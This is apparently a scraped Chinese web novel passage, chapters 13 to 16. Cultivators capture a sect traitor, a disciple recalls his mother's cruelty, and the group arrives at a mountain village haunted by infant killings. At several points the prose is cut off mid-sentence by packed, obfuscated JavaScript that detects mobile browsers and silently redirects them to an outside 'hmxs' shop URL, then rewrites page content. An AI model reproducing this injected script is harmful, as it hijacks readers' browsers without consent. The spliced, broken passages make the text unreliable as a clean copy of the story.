尽管现在情况危急,锦书还是有些绷不住地问道:“它叫小花?” “当然啦,小花从小和我一起长大,它可是赫赫有名的黎华虎一族呢,要不是因为年纪小,早就把张伟那个贱人咬死了!” 叫张伟的贱人正牢牢的追在两人身后,虽然还有一些距离,但按照那速度,恐怕用不了多少就能抓住锦书的肩头。 锦书用灵力催动一片又一片幻影玉牌,空中也绽放出一片又一片的璀璨烟花,当然只有天玄宗知道这是宗门内部的求救信号。 小花的速度很快,带起阵阵风来,在有些燥热的夏日令锦书凉爽了不少,唯一美中不足的是,她有些凌乱的刘海胡乱的拍打在脸上。 锦书催动幻影玉牌的同时,依旧不忘腾出手来拨开脸上的碎发,还没等她在呼呼作响的大风中喘两口气,只听身前的熊戚叫道:“小花再快点,快点!” 不是吧,这速度居然还不是极致吗,此刻锦书有点欲哭无泪,她有些反胃,但小花可不会给她做好准备的时间,它昂起头吼叫了一声,便踏着大步飞向空中。 “怎么还会飞啊?”锦书惊呼一声,失重感忽的传来,惊地她连忙紧紧地搂住熊戚的腰。 熊戚的声音在空中断断续续地传来:“那当然了,我的小花会的可多了,锦书妹妹,你要是也喜欢灵兽,到时候跟着我去我们御兽宗挑一个。” 锦书连忙婉拒,眼见前方已是城门,她大声道:“熊戚姐,我的接应在城门口,你下降一点,我待会给他拽上来。” 熊戚应了声好,小花果然开始下降,锦书眯起眼睛仔细地观察了四周,不过好在他们飞在空中的样子实在太引人注意,陈安然远远地就看清了她俩,并蹦跳着挥舞起了自己的双臂。 “在那里。”小花落下,熊戚一把捞起陈安然。 “哎呀。”在陈安然的惊呼中,小花重新飞向城外,不过因为刚才的减速,张伟距离他们已经十分近了。 忽的,张伟化作一道黑光闪烁到三人面前挡住了他们的去路。 “哼,多谢你们还特地到城外来,这下就算我杀了你们也不用担心了。” 话落,他指尖凝聚出几道黑光射向众人,见小花灵活地躲闪开,也不过微微一笑,手中又出现了一把长笛,长笛放到嘴边传来的却不是天籁之音,一股尖锐的类似金属摩擦一般的声音穿透云霄,锦书条件反射一般捂住耳朵,三人都还好,可托着他们的小花却突然好像发狂了一样嘶吼了起来,并且还疯狂地甩动起了身体。 “糟了。”熊戚死死地搂住小花的脑袋,但她再分不出别的精力来护住锦书和陈安然,两个人被巨大的甩力狠狠地摔了出去,重重地砸向地面。 陈安然尖叫道:“啊!” 锦书心道糟糕,现在绊玉不能化形来托着自己,她现在的灵力也不足以让她飞起,从这么高的地方砸下去不知道会不会摔成肉饼。 情况危急,她只能运转周身灵力试图护住自己,同时还不忘大声提醒道:“陈安然,运转灵力。”说罢,她安详地闭上了眼睛,下面全是草丛,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们几个,还有闲心在这说笑,也太不把我张伟放在眼里了吧。”张伟气冲冲地打断几人,又将笛子放到嘴边呜呜地吹了起来。 不过这次,熊戚早早做了准备,一看到他要吹笛子,她就俯下身用手捂住了小花的耳朵。 陈赋舟瞧见她有些狼狈的动作,抬手向她怀里扔出一张符:“静音符,贴到它脑袋上,可以隔绝声音。” 熊戚欣喜万分地道了谢,赶忙将静音符贴好。 张伟眼看不能操控小花了,脸上流露出几分慌张:“哼,静音又怎么样,这几只畜生可是被你们放出来了,我还能控制它们。” 张伟又呜呜地吹了起来,果不其然,那几只刚被放出来的兽类眼神中闪过一丝凶光,但也只是一声接着一声地嘶鸣了几声,并没有如他所愿地扑向几人,反而又虚弱地跌回地上。 锦书夸张地“哇”了一声:“你不会忘了吧,你都把他们打成半死了,还能有什么战斗力啊?” “自作自受。”她耸了耸肩膀,翻了个白眼。 张伟额上冒出几滴冷汗,但还是强撑嘴硬道:“别忘了,这里可是荒郊野岭,数不清的畜生都在这里呢。” 锦书只是抱着肩膀微笑着看着他再次呜呜地吹起长笛,一片寂静后,他终于惶恐地后退两步,问道:“这是怎么回事,怎么连只苍蝇都没有?” 传来不轻不重地拍打,他转过头,看到那后来的柔弱少年眼神平淡地看着他,仿佛看着一个小丑,他浑身战栗,惊恐地连连倒退了几步。 熊戚惊奇地张大嘴,也不知是称赞还是贬低,对着陈赋舟吗,她由衷地感叹道:“没想到真不是花瓶啊。” 14. 第 14 章 张伟脸色大变,拔腿就想跑,可迎接他的是小花的血盆大口,在那威风的猛兽面前,他只能退后两步,无力地瘫坐在地面上。 锦书翻了翻兜,可惜买了那么多东西居然没有一个能捆住他的。 她磨磨唧唧地展开自己买的一堆东西,里面塞着几条样式精美的全新发带倒是可以拿去用。 锦书叹了口气,新买的呢,绑了这个臭臭的家伙以后肯定只能扔了,有点舍不得。 从里面挑出这几条发带,锦书举到眼前,仔细地看了半天,根本选不出来哪条更丑一点。 正值为难之际,一条发带递到了眼前,陈赋舟善解人意道:“师姐用我的吧,这个旧。” 锦书打量着那条玉色的发带,尽管只是发带,却绣着漂亮的莲花花纹,发带底部还缀着几颗精巧的小小莲花珠子。 “不行。”锦书坚决地摇了摇头:“你这么好看的发带怎么能便宜了他,再说了,我实在不能接受把小师弟你仙气飘飘的贴身物件用来捆这么一个臭男人。” 她走了两步,笑嘻嘻地拍了拍陈安然:“你的借我用用呗。” 陈安然怒目圆瞪,抗拒地连退几步,可由于说不出话只能鼓着小脸。 锦书摊开手:“难道你能接受我用你哥的发带......” 还没等她说完,陈安然就举起了手示意她不要再说了,随即眼神坚定地拆下了自己的马尾。 锦书高兴地把发带递给熊戚,熊戚三下两下捆紧了张伟,利落地拍了拍手,大步地跨到锦书身旁:“时候不早,咱们赶紧回去吧,这个张伟是我们宗门的叛徒,我本来想着回家禀告父亲来抓他,没想到他居然这么弱,不知道当时是怎么从宗门逃走的,我要赶紧给他带回去,防止出什么以外。对了,那个,锦书妹子的小师弟。” 见她脸上露出几分为难之色,锦书连忙接上:“陈赋舟,他的名字叫陈赋舟。” “哦,陈赋舟兄弟,你有事没有什么能把他嘴堵住的符,我怕待会他又整什么哼歌之类的幺蛾子。” 陈赋舟好像早有预料似得,从兜里拽出来一张空白的符纸,又用手指在长剑上一划,仔细地画了起来。 锦书好奇地探头看去,看到他用自己的血液画符,不由得眉头紧蹙,一脸担忧道:“你这样不得贫血啊?” 陈赋舟并不以为然,只是解释道:“我的血用来画符效果能翻倍。” 锦书上辈子病重,最知道身体不好的滋味,看他这样不珍惜自己的身体,一时间心头涌起一股怒意:“符哪里有人重要。” 陈赋舟手顿了顿,轻轻掀起眼皮看了她一眼,笑着宽慰道:“师姐,我并没有那个意思,只是觉得,若能让这些东西发挥出更好的效果,那我的血也算起到了些作用。” 这话说得很是叛逆,这家伙此刻和之前表现的乖模样简直判若两人,这到底是什么脑回路,锦书百思不得其解,但她想了想,好歹自己也担着个师姐的名义,怎么能眼睁睁地看着小师弟误入歧途。 她平复了心情,在脑海中构思了合适的话语,语气中带上几分劝慰:“你这样想是不对的,你是一个人,再多的法宝都比不上你这个人重要,你的身体如果你自己不爱惜,那爹娘也会心疼的。” 陈赋舟整个人僵住了,他抬起头盯着一脸认真的少女,过了半响又低了下去,用除了自己没人能听清的声音喃喃道:“没人会心疼我的。” 锦书瞧他除了莫名其妙的盯着自己片刻再没别的表示,有些生气:“反正以后我会监督你的。” 少年清瘦的肩膀抖了抖,发出一声微不可查的轻笑。随即,他站起身将符咒递给熊戚,这才转过身,他漂亮的桃花眼里仿佛有无数情绪,最后还是化成了简单的一句:“小师姐......你真是太好了” 安静的丛林里忽的传来一阵“簇簇”的声响,锦书戒备地看向四周。 “小少爷,可算找到您了,您快跟我们回去吧!”此时,一群侍卫焦急地层层树木中钻出,将陈安然围住。 看到是先前在客栈见过的陈家侍卫,锦书这才放下心来。 “我还想问你们这群蠢货都去哪了呢?先别问来问去的,快给我根绳子。”陈安然恢复了之前的一副骄纵少爷的做派,竖起眉毛,抬高声音地质问了起来。 随即他又软下声音对陈赋舟恳求道:“哥哥,我们一起走吧,这么多人正好可以看住这个张伟,万一他再做乱怎么办?” 变脸大师啊,锦书咂舌。 陈赋舟神色晦暗不明,冷淡道:“不用你管。” 陈安然委屈地咬了咬下嘴唇,死马当作活马医,冲锦书使了使眼色,希望她能帮忙劝两句。 锦书耸了耸肩,无奈的摊开手表示自己无能为力。 陈安然也知道陈赋舟不会和自己一起,只能一步三回头地跟着一群侍卫离开了。 锦书三人也带着张伟往城里走去,刚才情况紧急,熊戚才让小花飞到高空,现在安稳下来,怕吓到普通人,于是几人便老老实实地走在地上,这时锦书才一拍脑门想起来那件被自己忘了很久的事情。 “哎呦,我忘记问你弟弟他一直在说的那个东西是什么了?” 听到她这话的两人都一头雾水,熊戚问:“什么什么东西?” “他之前告诉我,最近好多宗门世家的弟子来这里是为了拿一样东西。” “哦,你说的这个呀。”熊戚一脸恍然大悟:“是一样很神秘的灵物,过几天会在这里拍卖,听说叫什么枯情藤。 她一脸神秘地压低声音道:“你们知道为什么这么多人都想要吗?听说它可以重塑肉身。” 锦书有些震惊,书里怎么没提到这种灵物,重塑肉身这种一看就是为龙傲天男主量身定做的啊。 熊戚又摆了摆手:“不过我这次来只是凑个热闹,我前不久刚被关了禁闭,好不容易能透透气,听说这里热闹就过来了,我们家没人用得着需要重塑肉身,毕竟不论生死还是修行都是看命嘛,这种外来的东西就算能够借助一时,哪能借助一世。” 锦书颇为赞同地点点头,这道理说的倒是不错。 “但还是有好多人对这个东西虎视眈眈,就算现在不用,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走了没多远,熊戚好像想起来了什么似得,月光下,锦书隐隐约约看她好像在身上摸索着什么东西,果不其然,她又掉回了头,朝锦书扔了一个黑乎乎的东西。 “这个送你。”说罢,她就转过身驱动着小花朝大部队赶了过去。 锦书急急忙忙地去接那从天上落下来的东西,她小跑了两步,仰着头伸出手去接。 “哎呦。”这里本就是野外,路上坎坷不平,她这一抬头哪里顾得上脚下,不知道就被哪里来的石头狠狠地绊了一跤。 陈赋舟也被她下了一跳,看她狼狈地跌坐在地上,一脸欲哭无泪,又有点想笑,他走上前伸出一只手:“师姐。” 锦书疼的眼泪汪汪,几滴眼泪止不住地下流,陈赋舟这才有些慌张地蹲下身:“怎么了。” 她带着哭腔:“没事,就是摔的太疼了,下次再见到熊戚我一定要让她请我吃饭!” 说着,她举起手给陈赋舟展示害她甩了一跤的东西,那是一串皎白的象牙口哨挂饰,锦书看着这串小东西叹了口气:“这是什么啊?” 陈赋舟看她并不是真有什么大碍也松了一口气:“这个是御兽宗的东西,那里的人热情好客,如果遇到一个喜欢的朋友就会送给他们这个,有了这个,你在其他地方遇到危险时,如果吹响口哨,就会有温顺的灵兽前来帮助你。” 锦书小心地将象牙口哨挂饰挂在腰上,撑着一旁的树有些艰难地想爬起来,不过不过刚站起来半个腰,她又一屁股坐在了地上。 15. 第 15 章 “我的脚好像崴了。”锦书倒吸了一口气,额头也因为疼痛冒出大量的冷汗。 陈赋舟点起几点光亮,借着光,锦书小心地脱下鞋袜,只见本来白嫩柔软的脚腕已经高高肿起,鼓成了一个大肿包。 陈赋舟皱着眉头从兜里翻出来一些常用的草药,又干脆地扯下自己的一片衣角塞到了她手里。 “师姐,我可能不太方便,你还是自己包扎吧。”他有风度地背过身。 锦书有些惊奇:“你居然还会随身带着草药。” “嗯,以防万一,这不就用上了?” 锦书鼓了鼓腮帮子,动作轻缓地将草药敷在脚腕上,又拿衣角绑好。 她扶着树干小心地站起身,想尝试着走几步路,然而脚刚刚碰到地面,便像被无数虫子啃食了一般,疼的她惊呼了一声。 “不能走就别逞强。”陈赋舟已经转过身来,走到锦书面前,蹲下身示意她赶紧上来:“师姐这样也没法御剑,我背着你也御不了,看来我们只能走回去了。” 锦书其实很不好意思,上辈子她很少与同龄人接触,连说话都甚少,更别说是肢体接触,不过现在风吹的越来越冷了,她已经忍不住打了好几个寒颤,脚上的疼痛也钻心刺骨地提醒着她别再顾忌那些难为情,只能不推辞地圈住了陈赋舟的脖颈。 锦书趴在他肩头小声嘟囔道:“你这么瘦我不会把你压垮吧?” 陈赋舟显然没想到她会问出这样一个问题,虽然有些意外,还是安慰道:“师姐很轻。” “唉,不行。”锦书叹了口气:“万一我把你压坏了,师尊他来批评我怎么办?” 陈赋舟轻笑一声:“那我就说是我缠着师姐非要背师姐的。” 锦书大方道:“这样吧,以后只要我们俩一起出门,你的饭全都我请客!师姐不差钱,你尽管吃,保管不出半年就把你补成一个大胖球,到时候再也不用担心会被小姑娘压垮了。” 这话说得他怔了怔,少女轻轻的呼吸落在耳侧,还萦绕着说不清道不明的花香,陈赋舟只觉得脖子一直到耳根都开始隐隐发热,他睫毛颤了颤,打在脸上形成一道长长的月牙般的阴影。 锦书伏在陈赋舟坚实的背上,他走的不快不慢,每一步都稳稳地落下。 山林中数不清的鸟虫开始鸣叫,晚风吹得树叶哗哗作响,锦书有些闷闷不乐:“他们都有人接,只有我们俩没有。” 陈赋舟乍一下有点蒙,想了想才明白她说的是陈安然和熊戚,他抿了抿唇,垂下了眼眸,并没回话。 虽然上了药,但锦书的脚腕不知是心里作用还是怎样,居然越来越疼了。她脑子晕乎乎的,想起来自己生病的日子,想起来自己的父母,又想到自己一个人孤单地穿越到这个地方,心里越来越委屈,前半生发生的一切像走马观灯一般眼前一幕又一幕的放映,教人心里发酸。 就好像吃了个熟透的柚子一样,又苦又涩。 锦书头发涨,两只手紧紧地绞在了一起,开始不自觉的扣起了掌心,她不自觉的把脸埋在在陈赋舟背上,忍不住开始抽涕。 情绪来的如夏日暴雨般突如其来,锦书对自己的眼泪感到很不好意思,但她实在没法控制住自己的情绪,想着想着便哭的更加厉害了。 少女像只无助的幼兽,发出细细的呜咽声,泪水映湿了陈赋舟的衣衫,惹得他收紧手臂问道:“怎么哭了?” “我想我爹娘了......” 少年并没有搭话,她又喃喃道:“陈赋舟,我的脚好疼啊。” 半晌沉默过后,少女的哭泣声愈发大了,她抽抽涕涕、自顾自道:“我要回家......” 少年的声音轻轻,听不出来情绪:“想回家就回吧,至少师姐你还有家可回。” “胡说八道!”少女不知为何突然激动起来,愤愤地一拳锤在陈赋舟肩膀上,随即又把脸埋了起来,在他肩头蹭了蹭。 陈赋舟无奈地想到自己身上恐怕都是些鼻涕眼泪,他一向爱干净,这件衣裳估计是没法要了。 两人很快就走到了林子的外围,一路上也没再言语。陈赋舟耳边不断传来呜咽声,他抬起头看向城内,此时时辰虽然很晚,但仍有几盏灯亮着,暖黄色灯光犹如繁星点点缀在城中。 陈赋舟忽的猝不及防地问了句:“回家有什么好的?” 锦书也不哭了,她缓缓把脸颊靠在身下人的肩膀上,也遥遥地望向城外。 “家多好啊,回家有好吃的。” 陈赋舟意味不明地笑了声:“是吗?” “当然了,以前有一次我和我爹爹出远门,过了好久才回家,我们两个疲惫地打开门却发现我娘已经做了一大桌子菜,笑眯眯地坐在桌子面前等着我和我爹了,我娘其实不会做饭,我爹心疼她,从来不让她下厨,其实那天桌子上的菜几乎全都烧糊了,我只能吃看着还勉强像个样的红烧排骨。”锦书傻乎乎地笑了起来。 做菜?陈赋舟有些错愕地想,他娘有亲手为他做过一顿饭吗? 不记得了,总归,大概,是没有的吧。 记得年幼时,因为压制不住体内的离魂引,他常常疼的控制不住自己,有的时候会歇斯底里地大哭,有的时候会疯狂地抓挠自己。 当时所谓的娘是怎么做的呢? “连这点痛都忍不了!” “吵死了,怎么把你弟弟也惹哭了?” “真不知道离魂引怎么会传给你这种废物?” “给我滚到永乌楼去!” 城里的点点灯火映在少年波澜不惊的眸子中,永乌楼从没有过这样的光亮,那个地方黑的不见五指,他每次被丢进去都害怕的浑身发抖,只能一个人蜷缩在角落抱着膝盖,希望自己感觉睡着,梦中爹娘都会陪着自己的,他再也不是一个人了。 无尽的黑暗中,时间就好像停滞了一样,胸口无法被压制的疼痛变得分外难以忍受,小小的陈赋舟掰着手指头,一个数一个数的数,怎么过了这么久娘还不来接我出去呢? 终于,有人想来了他,随着木门嘎吱一声打开,许久不见的光亮刺的他捂住眼睛,却还是雀跃地喊道:“娘,你来接我了吗?” 回应他的确是一句例行公事的“大少爷,时间到了,您可以出来了。” 不会的,娘一定只是被要务缠身,忙的走不开才没有来接自己,毕竟自从他出生后,家里的叔叔婶婶就整天像饿狼一样眼巴巴地盯着家产,娘肯定是被他们为难了,我要去保护娘。 小小少年眼神坚毅,他站起身推急急忙忙地踏出了永乌楼,顶着来来往往的仆从惊诧的目光,他拼了命地跑向娘住的院子。 “小然,你多吃点。娘记得你最爱吃这道菜了。”温柔的声音成了压垮少年的最后一根稻草,黑暗、恐惧、委屈、不解、憎恨一一涌上心头,此时春暖花开、正是草长莺飞二月天,他却犹如站在冰窟中,发抖地看着娘笑盈盈地给陈安然夹菜,那是从未对他表现过的笑容。 陈安然第一个看见他,他高兴地跳下桌子,张开手奔向他,那个女人抬起头,脸瞬间沉了下去,她一把抓住陈安然,用世界上最冷酷的声音对他下了最后的判决书:“别过去,他身上脏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898128|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年瞳孔急缩,寒气大作,努力压制的离魂引再也不受控制,一时间妖风四起,卷起桌上的碗筷和地上的落叶,他浑身煞气炸开,惹得众人面色突变,纷纷退后。 陈赋舟只记得那个女人和自己一模一样的眸子里满是畏惧与厌恶,他浑身疼痛,从上到下整个人像是被劈开了一样,便再无意识。 等到清醒过来时,他已经被送到了天玄宗,那个他不再视为娘的女人只留下了一句话,让他拜玄清真人为师,好好压制自己的离魂引,就再无其他。 他也在没有其他想法,顺从地拜师、修炼,短短几年来,他已经不大会想起那几年发生过得种种,许是今日少女的哭声太过恼人,又或是城中的点点灯光太过碍眼,他也不知为何想起了这段已经被他刻意忘记的回忆。 陈赋舟眼神中漫上一层鲜在外人面前表露出来的冷意,轻轻笑了笑:“我才不稀罕。” 少女并未回话,传来的只有一声又一声平稳的呼吸,陈赋舟偏过头,这才发现,许是他许久没有回话,少女已经趴在他的肩上安心的睡着了。 他不知为何停下来脚步,长久地盯着她压在他肩头的半张脸,那张脸俏皮灵动,即使睡着了嘴角也微微勾起,好像正在脑海中构思坏事,马上就能爬起来做一样。 锦书第二天醒来的时候时辰已经不早了,她揉了揉有些晕的脑袋,这才发现自己已经躺在了客栈的床上。 她动作利落的收拾了一番自己,又有些困难的勉强把头发扎的还算体面才下了楼,除了她以外,一行人正有说有笑地坐在大厅里喝茶了。 步阙乾率先看见她,挥了挥手:“小师妹可算是睡醒了,教我们好等。” 锦书不好意思地笑了笑,小跑过去坐下。 陈赋舟放下手中的茶杯,将自己面前一碗装着暗褐色液体的碗推到她眼前。 锦书端起来闻了闻,一股苦味令她蹙起眉头:“这是什么?” “治风寒的,你昨夜吹了风。” 锦书这才乖巧地端起碗一饮而尽,还好上辈子为了治病,中药西药都常喝,即便遇到这种很苦的也能面不改色。 步阙乾摸着下巴凑了过来,咂舌道:“陈师弟真细心,我还说你那药是给谁准备的呢,昨晚小师妹好像打了几个喷嚏吧,你这都能注意到。” 陈赋舟手抖了抖,面色却如常:“师姐比较重要。” 步阙乾逗道:“我就不重要了吗?我可是你大师兄唉” 燕临毫不客气地一巴掌拍在步阙乾背上,只打的他一个踉跄:“还好意思说自己是大师兄,要不是他昨晚非要去喝酒,喝的醉醺醺的,还在街上耍酒疯,害得我和李师弟两个人都抬不起来你,不然我们怎么会没去帮小师妹你们。” 步阙乾挠了挠脑袋:“我一会真不喝了,真的,我一闻到酒味就忍不住。” 燕临扯了扯嘴角,对锦书笑道:“谁信他,你都不知道,他昨天多好笑,趴在路边又唱又跳,还说自己是世界第一药修,还说要让掌门亲口承认自己崇拜他。” 步阙乾理直气壮地接道:“本来就是。” 收获燕临白眼一枚。 锦书含笑用起了午膳,夹了一筷子青菜塞进嘴里。 这时,陈赋舟却靠近了她,他看上去心情颇好,两只眼睛眯成弯弧,精致的酒窝也荡漾在唇边。 他压低声音道:“师姐没忘了昨晚的承诺吧。” 锦书摸了摸被呼气喷的发痒的耳朵,咽下嘴里的菜:“当然啦。” 陈赋舟眼底笑意分明,衬得面孔都鲜明了不少。 16. 第 16 章 虽然修仙者大多御剑而行,但修仙界也与时俱进,这么远的路程,一行人坐上了飞车,又稳又快地向目的地驶去。 飞车平稳地运行在空中,锦书拖着腮帮子趴在窗沿上向下看去,偃建村位于群山之间,从上往下看过去,一片翠绿的帷幕就此展开,绵延千里,依稀可见点点村庄若隐若现地坐落其间,炊烟寥寥升起,与天边漫起的云雾相连,犹如一位身着白衣的母亲怀抱着整座山群。 “宅女”锦书哪里见过这样浩浩荡荡的壮观场面,被高耸入云、巍峨鼎立的山群吸引了视线,久久移不开视线,真真是“造化钟神秀,阴阳割昏晓”。 “哎?师姐,偃建村在这么深的山里面,那村里人岂不是干什么都很不方便?”锦书闲得无聊,开始找燕临搭话。 “是不太方便,但是每个地区负责的宗门和世家其实都会给村庄留下传音符之类的工具,方便他们需要庇护时,能及时赶过来。” “那这个村里面都死了这么多小孩了,为什么没有第一时间求助啊?” 这个问题把所有人的视线都吸引了过来,燕临一时哑然。 锦书惊讶地问道:“难道你们都没想过这个问题吗?按理来说,这些百姓平日里鲜少下山,村子里莫名其妙死人,他们不应该马上就吓得找修士来解决吗?怎么一连死了这么多个才来?” 步阙乾挠了挠头解释道:“说不定是传音符用完了?” 但这个解释显然太过牵强、难以服众,众人百思不得其解,都有些忧虑了起来,步阙乾只能笑着安慰道:“大家不必过于担心,就算咱们解决不了,还能用唤影玉牌喊长老们来撑腰!” 锦书颓然地转过头,不自觉的拧起了眉头,大师兄也是个半吊子,这个偃建村说不定真有古怪,看来此行还需处处谨慎。 飞车落在偃建村村口,偃建村并不大,大约只有几十户人家,村民之间大多有血缘关系。整个村庄布局也很是奇特,村庄的正中间是一座古香古色的祠堂,被数座简陋的房屋紧紧围在中央。 锦书一行人下车时,便发现村民们早已在村口等候多时,为首的是一个年仅五旬的男人,他看上去日子过得颇为不错,身形厚实,但显而易见的精神不太好,挂着沉沉的眼袋和黑眼圈,面容有着些许憔悴。 众人远远便看见他一人站在众人面前,估摸着他就是村长。这人神色不安,一直在迈着步子来回的走,等远远地看见了飞车,又慌里慌张的站住,仰着头搓起了手。步阙乾第一个从车上下来,还未站稳,就被抓紧了手晃了晃。 “太好了,道长你们可算来了,我们可算有救了。” 步阙乾还有些茫然,男人激动地有些结巴,连忙又介绍道:“我是偃建村的村长杨大富,我们村可真是等道长你们好久了没过几日便又是献祭的日子了......”杨大富像是想起了什么极为可怕的东西,竟然情不自禁地打了一个冷战。 锦书几人也已经从车上下来,站在了步阙乾身后。锦书注意到,提起那个“献祭日”,几乎村民都面露恐惧,有位带着孩子的母亲更是紧紧地圈住了自己的孩子。 杨大富摸了摸额头,松开步阙乾的手道:“我真是糊涂了,在这个地方可怎么说话呢。道长们舟车劳顿辛苦了,随我来,咱们去屋里歇歇再详细说了。” 众人都点点头,跟着杨大富往村里走。 偃建村实在是穷,锦书走在路上这样想到。路边的不少房屋都破旧不堪,看着就年岁久远,砖砖瓦瓦都透露出年代感,但杨大富却领着众人来到了一座在村中显得格格不入的小院前。 这座小院青砖绿瓦堆砌而成,看上去结实又体面。 杨大富站在门前,堆满了笑容道:“各位道长就先在我家住下吧,家中简陋,多有担待。” 锦书闻言不甚客气道:“其他人家确实简陋,不过这里倒是挺别具一格,看起来村长你平日里挺热爱生活。” 杨大富尴尬地笑了笑,好像没听出言外之意,道:“姑娘您就别开玩笑了,还是先进来坐坐吧。” 一行人走进正屋坐下后,杨大富喊道:“杨岚,还不快点端茶水过来!” 一个清脆的声音远远应了声是,随即,一个看着年纪尚小的女孩便端着大大的方盘跨进了正房,方盘上摆满了茶杯,显得极有重量,女孩的手臂有些颤抖,她咬着下嘴唇,小心翼翼地挪着步子送茶。 锦书连忙接过茶水,有些不满道:“村长怎么让一个这么小的孩子端这么重的东西?” “道长别误会,这是我女儿,从小就活泼好动,一刻都闲不下来,你不让她干她还要生气呢。” 锦书闻言看向杨岚,这女孩很是瘦弱,简直称得上是皮包骨,她脸色有些发青,薄薄的一层皮紧紧地贴在突出的肋骨上,因为太瘦而显得有些刻薄。听到父亲这样说也并没什么表情,只是机械地端茶,怎么看也不像杨大富嘴里面的“活泼好动”。 锦书皱着眉头又想开口,却被杨大富抢先道:“各位道长,从三个月以前,我们偃建村就被妖怪缠上了,每月十五夜里,都会刮起大风,然后妖怪就会抓走一个婴儿,把这婴儿剥皮拆骨,手段残忍啊!一快到十五夜里,村民们就不能安心睡觉,不少家里有孩子的每日都疑天疑地,生怕那个不注意就让家里的被妖怪抓走了去!” “道长们可一定要救救我们啊,不然再这样下去,我们偃建村可就要绝后了,我可怎么有脸见地下的祖祖辈辈呢?” 步阙乾疑惑地问道:“村长,你们难道就没派人去守着那些婴儿吗?” 杨大富苦着脸叹息道:“哎呦,道长你们是不知道啊,哪里是没守过,是根本守不住!自从第二个婴儿死了,村里就人心惶惶,生怕下一个死的就是自己家的,我们只能找了村里最年轻力壮的几个男人,在满月之夜守在婴儿旁边。” “但在满月的时候,几个男人竟然莫名其妙地统统昏死了过去,醒来时才发现什么都不见了。” “道长们,这还没有三天就又是十五了,村子里现在只有两个婴儿,有一个可是我刚出生还没两个月的儿子!”杨大富捂着胸口,神色痛苦道:“盼了十几年好不容易生出来个儿子,要是被妖怪害死了,我也不活了!” 锦书可算听明白了,怪不得这杨大富从开始就一副急急急的模样,原来是杀到自己头上来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898129|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈赋舟漫不经心地把玩着手里的瓷杯,瓷杯精致小巧,花纹复杂,虽不似世家大族所用的那般价值不菲,也是品质非凡。 杨大富仍在喋喋不休地吐着苦水,却被陈赋舟猝不及防地打断了:“村长说了这么多估计也累了,先让我们自己商谈一下现在的情况吧。” 杨大富被噎住了,但很快就调整了笑容,客套道:“道长们说得对,是我太急了,都忘了道长们旅途辛苦了。那道长们还是先去休息吧,若有还想问的再来找我就是。不过,还有三天就是十五了,道长可一定要救救我们啊。” 他又抬高声音喊道:“杨岚!杨岚!还不快给道长们带去休息!” 杨岚低着头走在众人前方,带着他们走上檐廊。 燕临家中有姊妹,向来对年纪小的女孩很是友善,她亲切地同杨岚搭话道:“小妹妹,你怎么这么瘦啊?平时不爱吃饭吗?” 杨岚显然没想到这个犹如仙子一般的女子会同自己讲话,她吓了一大跳,面色惶恐地摆了摆手,一句话也没说就继续低下头带路。” 一阵喧闹声传来,先是敲锣打鼓,随后又放起了鞭炮,步阙乾笑呵呵地说道:“哪里办喜事吗?整的这么热闹。”杨岚怔了怔,怯生生地抬眼看了看步阙乾,又飞快地低下了头。 锦书和燕临疑惑地对视了一眼,这个杨岚显然状态不对。 锦书又想向杨岚问些什么,她却停下来脚步,原来是已经将众人带到了一座空闲的屋子,她伸手指了指屋子,抿着嘴毫不留恋地跑开了。 燕临将屋门关紧,开门见山地说道:“这个村长有些奇怪。” 步阙乾张大嘴巴诧异道:“啊?”却见众人纷纷点头,面色凝重。 锦书道:“这村子在深山里面,刚一路走过来的时候我发现几乎所有的房子都破破烂烂的,只有村长一家住的这地方一看就是精心打理的,不管是正房,檐廊,还是我们住的这座,恐怕都花重金建造的。” “那么这么穷的一个地方,村长的钱是从哪来的呢?” 陈赋舟接着道:“杨岚是杨大富的女儿,杨大富虽然看上去精神不好,但是身形肥壮,面色红润,反而杨岚却一幅吃不饱饭的样子。而且杨大富对她的态度也很奇怪,不像是把她当女儿,倒像是一个可以随意使唤的仆人。” 就连一直沉默寡言的李行道也说道:“而且明明三个月以来已经死了不少婴儿,按常理来说,正常的村民都应该害怕地足不出户才对,怎么可能还敲锣打鼓这么大阵仗地办喜事?” 陈赋舟补充道:“不是办喜事,是祭祀。” “小师姐在飞车上往下看时,说了句这村子怎么是这么规整的一个圆吗?于是我随着她的视线看过去,发现这座村庄围绕着一座建筑向外延伸开来,居民的房屋都是为了把这座建筑保护在中心。” “在村口的时候,就能远远看到这座建筑挂满了彩旗,这正是中南地区祠堂常用的布置方式。喧闹声仔细一听就能判断出是从村子中央传来的,应该是村民正在祠堂办祭祀仪式。” “现在问题就在于,刚死了这么多婴儿,村民们到底在祭祀什么?” 17. 第 17 章 